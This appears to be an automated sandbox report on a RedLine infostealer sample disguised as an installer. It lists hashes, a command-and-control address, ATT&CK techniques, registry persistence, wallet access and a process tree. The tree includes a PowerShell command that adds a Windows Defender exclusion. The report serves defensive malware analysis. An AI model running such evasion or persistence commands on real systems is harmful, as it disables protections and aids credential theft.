redline | 5f30eae71c1b0d08e7ec5adfc9a0dc98078595502b60a584a8df5cdf8cacf7fa

Resubmissions

13-10-2021 18:35

211013-w8lxmaegdr 10

13-10-2021 12:38

13-10-2021 05:30

12-10-2021 20:25

11-10-2021 21:02

Analysis

max time kernel
70s
max time network
572s
platform
windows11_x64
resource
win11
submitted
13-10-2021 18:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

setup_x86_x64_install.exe
Size

3.4MB
MD5

26f28bf2dc2b6afc0dd99cb6ea3879b8
SHA1

9270b9f48e2d14cc2cbed61ee2e2389d5f69ce05
SHA256

5f30eae71c1b0d08e7ec5adfc9a0dc98078595502b60a584a8df5cdf8cacf7fa
SHA512

5a350373e87673c9ba39e5353bea1d7c1f2f7bc62a703ed13e892e69037008f3e2accadbdd0ec0bd976e54c68b79dfad6fb37517dd55448cac4d9d74ae8a037b

Score

10^/10

redline media12 aspackv2 evasion infostealer persistence spyware trojan

Malware Config

Extracted

Family

redline

Botnet

media12

91.121.67.60:2151

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5560	4908	rundll32.exe	5

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 3 IoCs

resource	yara_rule
behavioral4/memory/3732-313-0x0000000000000000-mapping.dmp	family_redline
behavioral4/memory/3732-319-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral4/memory/5692-355-0x0000000000000000-mapping.dmp	family_redline

Suspicious use of NtCreateProcessExOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 5216 created 2616	5216	WerFault.exe	104
PID 5196 created 4548	5196	WerFault.exe	113
PID 5188 created 2952	5188	WerFault.exe	108
PID 5872 created 5616	5872	WerFault.exe	141
PID 4848 created 5036	4848	WerFault.exe	114

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral4/files/0x000100000002b1b6-161.dat	aspack_v212_v242
behavioral4/files/0x000100000002b1b8-167.dat	aspack_v212_v242
behavioral4/files/0x000100000002b1b8-168.dat	aspack_v212_v242
behavioral4/files/0x000100000002b1b5-164.dat	aspack_v212_v242
behavioral4/files/0x000100000002b1b5-163.dat	aspack_v212_v242
behavioral4/files/0x000100000002b1b6-162.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 35 IoCs

pid	Process
2500	setup_installer.exe
3032	setup_install.exe
2852	Mon20762bc3f6.exe
2952	Mon206b909958ed4.exe
2100	Mon20927aab1e5.exe
2616	Mon204014f13870f5e.exe
4016	Mon203f01ac7e6.exe
1868	Mon209b3da1556b9a317.exe
3272	Mon206d48916f93c5.exe
4548	Mon2083f8d8970a0b2d.exe
4268	Mon209c830507d573.exe
4812	Mon20b6f9d5bd03a305.exe
5036	Mon20d3b8b752.exe
3092	09xU.exE
5176	Pc5xscmmG1sylsIvhZBLvNlF.exe
5204	LzmwAqmV.exe
5352	inst1.exe
5388	DownFlSetup110.exe
5400	7112793.scr
5472	Soft1ww01.exe
5536	4.exe
3176	Mon20927aab1e5.exe
5632	setup.exe
3732	Mon209c830507d573.exe
5852	Chrome 5.exe
5964	setup.tmp
6104	setup.exe
5184	setup.tmp
5692	Mon20927aab1e5.exe
5440	8290929.scr
436	LzmwAqmV.exe
5608	5394700.scr
5888	3781016.scr
5432	1023939.scr
3144	6599251.scr

Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Loads dropped DLL 8 IoCs

pid	Process
3032	setup_install.exe
3032	setup_install.exe
3032	setup_install.exe
3032	setup_install.exe
3032	setup_install.exe
5616	rundll32.exe
5964	setup.tmp
5184	setup.tmp

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	3781016.scr

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5394700.scr

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
38	ipinfo.io
2	ip-api.com
2	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
5608	5394700.scr

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4268 set thread context of 3732	4268	Mon209c830507d573.exe	125
PID 2100 set thread context of 5692	2100	Mon20927aab1e5.exe	154

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
5732	4548	WerFault.exe	113
6008	5616	WerFault.exe	141
5756	2952	WerFault.exe	108
5684	2616	WerFault.exe	104
5740	5036	WerFault.exe	114

Checks processor information in registry 2 TTPs 30 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3144	taskkill.exe

Modifies data under HKEY_USERS 44 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\7\52C64B7E	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4544	powershell.exe
4544	powershell.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe
5036	Mon20d3b8b752.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeSystemtimePrivilege	4652	svchost.exe
Token: SeSystemtimePrivilege	4652	svchost.exe
Token: SeIncBasePriorityPrivilege	4652	svchost.exe
Token: SeShutdownPrivilege	1336	svchost.exe
Token: SeCreatePagefilePrivilege	1336	svchost.exe
Token: SeShutdownPrivilege	1336	svchost.exe
Token: SeCreatePagefilePrivilege	1336	svchost.exe
Token: SeShutdownPrivilege	1336	svchost.exe
Token: SeCreatePagefilePrivilege	1336	svchost.exe
Token: SeShutdownPrivilege	2424	svchost.exe
Token: SeCreatePagefilePrivilege	2424	svchost.exe
Token: SeDebugPrivilege	1868	Mon209b3da1556b9a317.exe
Token: SeDebugPrivilege	3272	Mon206d48916f93c5.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	3144	6599251.scr
Token: SeDebugPrivilege	5388	DownFlSetup110.exe
Token: SeDebugPrivilege	5536	4.exe
Token: SeRestorePrivilege	5756	WerFault.exe
Token: SeBackupPrivilege	5756	WerFault.exe
Token: SeBackupPrivilege	5756	WerFault.exe
Token: SeRestorePrivilege	5732	WerFault.exe
Token: SeBackupPrivilege	5732	WerFault.exe
Token: SeDebugPrivilege	5400	7112793.scr

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4784 wrote to memory of 2500	4784	setup_x86_x64_install.exe	87
PID 4784 wrote to memory of 2500	4784	setup_x86_x64_install.exe	87
PID 4784 wrote to memory of 2500	4784	setup_x86_x64_install.exe	87
PID 2424 wrote to memory of 3080	2424	svchost.exe	88
PID 2424 wrote to memory of 3080	2424	svchost.exe	88
PID 2500 wrote to memory of 3032	2500	setup_installer.exe	89
PID 2500 wrote to memory of 3032	2500	setup_installer.exe	89
PID 2500 wrote to memory of 3032	2500	setup_installer.exe	89
PID 3032 wrote to memory of 2844	3032	setup_install.exe	93
PID 3032 wrote to memory of 2844	3032	setup_install.exe	93
PID 3032 wrote to memory of 2844	3032	setup_install.exe	93
PID 3032 wrote to memory of 4304	3032	setup_install.exe	94
PID 3032 wrote to memory of 4304	3032	setup_install.exe	94
PID 3032 wrote to memory of 4304	3032	setup_install.exe	94
PID 3032 wrote to memory of 2904	3032	setup_install.exe	95
PID 3032 wrote to memory of 2904	3032	setup_install.exe	95
PID 3032 wrote to memory of 2904	3032	setup_install.exe	95
PID 3032 wrote to memory of 3448	3032	setup_install.exe	96
PID 3032 wrote to memory of 3448	3032	setup_install.exe	96
PID 3032 wrote to memory of 3448	3032	setup_install.exe	96
PID 3032 wrote to memory of 3504	3032	setup_install.exe	97
PID 3032 wrote to memory of 3504	3032	setup_install.exe	97
PID 3032 wrote to memory of 3504	3032	setup_install.exe	97
PID 3032 wrote to memory of 3420	3032	setup_install.exe	101
PID 3032 wrote to memory of 3420	3032	setup_install.exe	101
PID 3032 wrote to memory of 3420	3032	setup_install.exe	101
PID 3032 wrote to memory of 4148	3032	setup_install.exe	98
PID 3032 wrote to memory of 4148	3032	setup_install.exe	98
PID 3032 wrote to memory of 4148	3032	setup_install.exe	98
PID 3032 wrote to memory of 4044	3032	setup_install.exe	99
PID 3032 wrote to memory of 4044	3032	setup_install.exe	99
PID 3032 wrote to memory of 4044	3032	setup_install.exe	99
PID 3032 wrote to memory of 3768	3032	setup_install.exe	100
PID 3032 wrote to memory of 3768	3032	setup_install.exe	100
PID 3032 wrote to memory of 3768	3032	setup_install.exe	100
PID 3032 wrote to memory of 1492	3032	setup_install.exe	102
PID 3032 wrote to memory of 1492	3032	setup_install.exe	102
PID 3032 wrote to memory of 1492	3032	setup_install.exe	102
PID 3032 wrote to memory of 1420	3032	setup_install.exe	110
PID 3032 wrote to memory of 1420	3032	setup_install.exe	110
PID 3032 wrote to memory of 1420	3032	setup_install.exe	110
PID 3032 wrote to memory of 1920	3032	setup_install.exe	103
PID 3032 wrote to memory of 1920	3032	setup_install.exe	103
PID 3032 wrote to memory of 1920	3032	setup_install.exe	103
PID 4304 wrote to memory of 2852	4304	cmd.exe	109
PID 4304 wrote to memory of 2852	4304	cmd.exe	109
PID 4304 wrote to memory of 2852	4304	cmd.exe	109
PID 2904 wrote to memory of 2952	2904	cmd.exe	108
PID 2904 wrote to memory of 2952	2904	cmd.exe	108
PID 2904 wrote to memory of 2952	2904	cmd.exe	108
PID 3448 wrote to memory of 2100	3448	cmd.exe	105
PID 3448 wrote to memory of 2100	3448	cmd.exe	105
PID 3448 wrote to memory of 2100	3448	cmd.exe	105
PID 3420 wrote to memory of 4016	3420	cmd.exe	107
PID 3420 wrote to memory of 4016	3420	cmd.exe	107
PID 3420 wrote to memory of 4016	3420	cmd.exe	107
PID 3504 wrote to memory of 2616	3504	cmd.exe	104
PID 3504 wrote to memory of 2616	3504	cmd.exe	104
PID 3504 wrote to memory of 2616	3504	cmd.exe	104
PID 1420 wrote to memory of 1868	1420	cmd.exe	106
PID 1420 wrote to memory of 1868	1420	cmd.exe	106
PID 4148 wrote to memory of 3272	4148	cmd.exe	111
PID 4148 wrote to memory of 3272	4148	cmd.exe	111
PID 3768 wrote to memory of 4548	3768	cmd.exe	113

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4784
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2500
- - C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:3032
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      PID:2844
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4544
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20762bc3f6.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4304
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon20762bc3f6.exe
        
        Mon20762bc3f6.exe
        5⤵
        Executes dropped EXE
        
        PID:2852
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon206b909958ed4.exe /mixone
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2904
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon206b909958ed4.exe
        
        Mon206b909958ed4.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:2952
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2952 -s 284
        6⤵
        Drops file in Windows directory
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:5756
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20927aab1e5.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3448
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon20927aab1e5.exe
        
        Mon20927aab1e5.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2100
      - C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon20927aab1e5.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon20927aab1e5.exe
        6⤵
        Executes dropped EXE
        
        PID:3176
      - C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon20927aab1e5.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon20927aab1e5.exe
        6⤵
        Executes dropped EXE
        
        PID:5692
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon204014f13870f5e.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3504
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon204014f13870f5e.exe
        
        Mon204014f13870f5e.exe
        5⤵
        Executes dropped EXE
        
        PID:2616
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2616 -s 296
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5684
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon206d48916f93c5.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4148
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon206d48916f93c5.exe
        
        Mon206d48916f93c5.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3272
      - C:\Users\Admin\AppData\Roaming\7112793.scr
        
        "C:\Users\Admin\AppData\Roaming\7112793.scr" /S
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5400
      - C:\Users\Admin\AppData\Roaming\5394700.scr
        
        "C:\Users\Admin\AppData\Roaming\5394700.scr" /S
        6⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5608
      - C:\Users\Admin\AppData\Roaming\3781016.scr
        
        "C:\Users\Admin\AppData\Roaming\3781016.scr" /S
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:5888
      - C:\Users\Admin\AppData\Roaming\1023939.scr
        
        "C:\Users\Admin\AppData\Roaming\1023939.scr" /S
        6⤵
        Executes dropped EXE
        
        PID:5432
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon209c830507d573.exe
      4⤵
      PID:4044
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon209c830507d573.exe
        
        Mon209c830507d573.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4268
      - C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon209c830507d573.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon209c830507d573.exe
        6⤵
        Executes dropped EXE
        
        PID:3732
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon2083f8d8970a0b2d.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3768
